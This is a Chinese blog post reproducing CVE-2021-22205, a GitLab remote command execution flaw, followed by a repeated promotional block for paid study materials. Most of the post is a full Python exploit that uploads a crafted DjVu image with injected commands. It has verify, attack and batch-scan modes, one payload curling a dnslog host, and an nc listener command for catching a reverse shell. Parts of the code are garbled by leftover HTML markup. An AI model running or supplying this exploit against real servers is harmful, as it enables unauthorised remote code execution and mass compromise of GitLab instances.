CVE-2021-22205——Gitlab 远程命令执行漏洞复现，2024年最新美团架构师深入讲解网络安全开发

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正文

nc监听10000端口

nc -lvp 10000

 
 
 
 

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成功上线

执行命令RCE

Exp

import requests
from bs4 import BeautifulSoup
import base64
import random
import sys
import os
import argparse

requests.packages.urllib3.disable_warnings()

def title():
print(“”"

/ / / | | / / | | | | / | |
| | / /| | ) | | | |) | | ) | ) | ) | | | |
| | V / | ||/ /| |_| / /| |/ / / / / /| || |) |
| / || ||/|_| ||||/|_/

                                <span class="token variable">Author</span><span class="token punctuation">:</span><span class="token variable">Al1ex</span><span class="token punctuation">@</span><span class="token variable">Heptagram</span>
                            <span class="token variable">Github</span><span class="token punctuation">:</span><span class="token variable">https</span><span class="token punctuation">:</span><span class="token punctuation">/</span><span class="token punctuation">/</span><span class="token variable">github</span><span class="token punctuation">.</span><span class="token variable">com</span><span class="token punctuation">/</span><span class="token variable">Al1ex</span>                             
	<span class="token string">""</span><span class="token punctuation">"</span><span class="token punctuation">)</span>
<span class="token variable">print</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">'</span>
    <span class="token variable">验证模式：python</span> <span class="token variable">CVE-</span><span class="token number">2021</span><span class="token variable">-</span><span class="token number">22205.</span><span class="token variable">py</span> <span class="token variable">-v</span> <span class="token boolean">true</span> <span class="token variable">-t</span> <span class="token variable">target_url</span> 
    <span class="token variable">攻击模式：python</span> <span class="token variable">CVE-</span><span class="token number">2021</span><span class="token variable">-</span><span class="token number">22205.</span><span class="token variable">py</span> <span class="token variable">-a</span> <span class="token boolean">true</span> <span class="token variable">-t</span> <span class="token variable">target_url</span> <span class="token variable">-c</span> <span class="token variable">command</span> 
    <span class="token variable">批量检测：python</span> <span class="token variable">CVE-</span><span class="token number">2021</span><span class="token variable">-</span><span class="token number">22205.</span><span class="token variable">py</span> <span class="token variable">-s</span> <span class="token boolean">true</span> <span class="token variable">-f</span> <span class="token variable">file</span> 
    <span class="token string">''</span><span class="token punctuation">'</span><span class="token punctuation">)</span>    

def check(target_url):
session = requests.Session()
try:
req1 = session.get(target_url.strip(“/”) + “/users/sign_in”, verify=False)
soup = BeautifulSoup(req1.text, features=“lxml”)
token = soup.findAll(‘meta’)[16].get(“content”)
data = “\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=“file”; filename=“test.jpg”\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3”?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright “\n” . qx{curl whoami.82sm53.dnslog.cn} . \n" b “) ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5–\r\n\r\n”
headers = {

“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36”,
“Connection”: “close”,
“Content-Type”: “multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5”,
“X-CSRF-Token”: f"{token}“, “Accept-Encoding”: “gzip, deflate”}
flag = ‘Failed to process image’
req2 = session.post(target_url.strip(”/“) + “/uploads/user”, data=data, headers=headers, verify=False)
if flag in req2.text:
print(”[+] 目标 {} 存在漏洞".format(target_url))
else:
print(“[-] 目标 {} 不存在漏洞”.format(target_url))
except Exception as e:
print(e)

def attack(target_url,command):
session = requests.Session()
try:
req1 = session.get(target_url.strip(“/”) + “/users/sign_in”, verify=False)
soup = BeautifulSoup(req1.text, features=“lxml”)
token = soup.findAll(‘meta’)[16].get(“content”)
data = “\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=“file”; filename=“test.jpg”\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3”?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright “\n” . qx{“+ command +”} . \n" b “) ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5–\r\n\r\n”
headers = {

“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36”,
“Connection”: “close”,
“Content-Type”: “multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5”,
“X-CSRF-Token”: f"{token}“, “Accept-Encoding”: “gzip, deflate”}
flag = ‘Failed to process image’
req2 = session.post(target_url.strip(”/“) + “/uploads/user”, data=data, headers=headers, verify=False)
if flag in req2.text:
print(”[+] 目标 {} 存在漏洞".format(target_url))
print(“[+] 请到dnslog或主机检查执行结果”)
else:
print(“[-] 目标 {} 不存在漏洞”.format(target_url))
except Exception as e:
print(e)

def scan(file):
for url_link in open(file, ‘r’, encoding=‘utf-8’):
if url_link.strip() != ‘’:
url_path = format_url(url_link.strip())
check(url_path)

def format_url(url):
try:
if url[:4] != “http”:
url = “https://” + url
url = url.strip()
return url
except Exception as e:
print(‘URL 错误 {0}’.format(url))

def main():
parser = argparse.ArgumentParser(description=‘GitLab < 13.10.3 RCE’)
parser.add_argument(’-v’, ‘–verify’, type=bool,help=’ 验证模式 ‘)
parser.add_argument(’-t’, ‘–target’, type=str, help=’ 目标URL ')

<span class="token variable">parser</span><span class="token punctuation">.</span><span class="token variable">add_argument</span><span class="token punctuation">(</span><span class="token string">'-a'</span><span class="token punctuation">,</span> <span class="token string">'--attack'</span><span class="token punctuation">,</span> <span class="token variable">type</span><span class="token punctuation">=</span><span class="token variable">bool</span><span class="token punctuation">,</span> <span class="token variable">help</span><span class="token punctuation">=</span><span class="token string">' 攻击模式 '</span><span class="token punctuation">)</span>
<span class="token variable">parser</span><span class="token punctuation">.</span><span class="token variable">add_argument</span><span class="token punctuation">(</span><span class="token string">'-c'</span><span class="token punctuation">,</span> <span class="token string">'--command'</span><span class="token punctuation">,</span> <span class="token variable">type</span><span class="token punctuation">=</span><span class="token variable">str</span><span class="token punctuation">,</span> <span class="token variable">help</span><span class="token punctuation">=</span><span class="token string">' 执行命令 '</span><span class="token punctuation">)</span>

<span class="token variable">parser</span><span class="token punctuation">.</span><span class="token variable">add_argument</span><span class="token punctuation">(</span><span class="token string">'-s'</span><span class="token punctuation">,</span> <span class="token string">'--scan'</span><span class="token punctuation">,</span> <span class="token variable">type</span><span class="token punctuation">=</span><span class="token variable">bool</span><span class="token punctuation">,</span> <span class="token variable">help</span><span class="token punctuation">=</span><span class="token string">' 批量模式 '</span><span class="token punctuation">)</span>
<span class="token variable">parser</span><span class="token punctuation">.</span><span class="token variable">add_argument</span><span class="token punctuation">(</span><span class="token string">'-f'</span><span class="token punctuation">,</span> <span class="token string">'--file'</span><span class="token punctuation">,</span> <span class="token variable">type</span><span class="token punctuation">=</span><span class="token variable">str</span><span class="token punctuation">,</span> <span class="token variable">help</span><span class="token punctuation">=</span><span class="token string">' 文件路径 '</span><span class="token punctuation">)</span>


<span class="token variable">args</span> <span class="token punctuation">=</span> <span class="token variable">parser</span><span class="token punctuation">.</span><span class="token variable">parse_args</span><span class="token punctuation">(</span><span class="token punctuation">)</span>

<span class="token variable">verify_model</span> <span class="token punctuation">=</span> <span class="token variable">args</span><span class="token punctuation">.</span><span class="token variable">verify</span>
<span class="token variable">target_url</span>   <span class="token punctuation">=</span> <span class="token variable">args</span><span class="token punctuation">.</span><span class="token variable">target</span>

<span class="token variable">attack_model</span> <span class="token punctuation">=</span> <span class="token variable">args</span><span class="token punctuation">.</span><span class="token variable">attack</span>
<span class="token variable">command</span> <span class="token punctuation">=</span> <span class="token variable">args</span><span class="token punctuation">.</span><span class="token variable">command</span>

<span class="token variable">scan_model</span> <span class="token punctuation">=</span> <span class="token variable">args</span><span class="token punctuation">.</span><span class="token variable">scan</span>
<span class="token variable">file</span> <span class="token punctuation">=</span> <span class="token variable">args</span><span class="token punctuation">.</span><span class="token variable">file</span>

<span class="token variable">if</span> <span class="token variable">verify_model</span> <span class="token variable">is</span> <span class="token variable">True</span> <span class="token variable">and</span> <span class="token variable">target_url</span> <span class="token punctuation">!</span><span class="token punctuation">=</span><span class="token variable">None</span><span class="token punctuation">:</span>
    <span class="token variable">check</span><span class="token punctuation">(</span><span class="token variable">target_url</span><span class="token punctuation">)</span>
<span class="token variable">elif</span> <span class="token variable">attack_model</span> <span class="token variable">is</span> <span class="token variable">True</span> <span class="token variable">and</span> <span class="token variable">target_url</span> <span class="token punctuation">!</span><span class="token punctuation">=</span> <span class="token variable">None</span> <span class="token variable">and</span> <span class="token variable">command</span> <span class="token punctuation">!</span><span class="token punctuation">=</span> <span class="token variable">None</span><span class="token punctuation">:</span>
    <span class="token variable">attack</span><span class="token punctuation">(</span><span class="token variable">target_url</span><span class="token punctuation">,</span><span class="token variable">command</span><span class="token punctuation">)</span>
<span class="token variable">elif</span> <span class="token variable">scan_model</span> <span class="token variable">is</span> <span class="token variable">True</span> <span class="token variable">and</span> <span class="token variable">file</span> <span class="token punctuation">!</span><span class="token punctuation">=</span> <span class="token variable">None</span><span class="token punctuation">:</span>
    <span class="token variable">scan</span><span class="token punctuation">(</span><span class="token variable">file</span><span class="token punctuation">)</span>
<span class="token variable">else</span><span class="token punctuation">:</span>
    <span class="token variable">sys</span><span class="token punctuation">.</span><span class="token variable">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>   

if name == ‘main’:
title()
main()

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学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

/7a04c5d629f1415a9e35662316578e07.png#pic_center)

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）
[外链图片转存中…(img-kS6uaov6-1713312854442)]

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！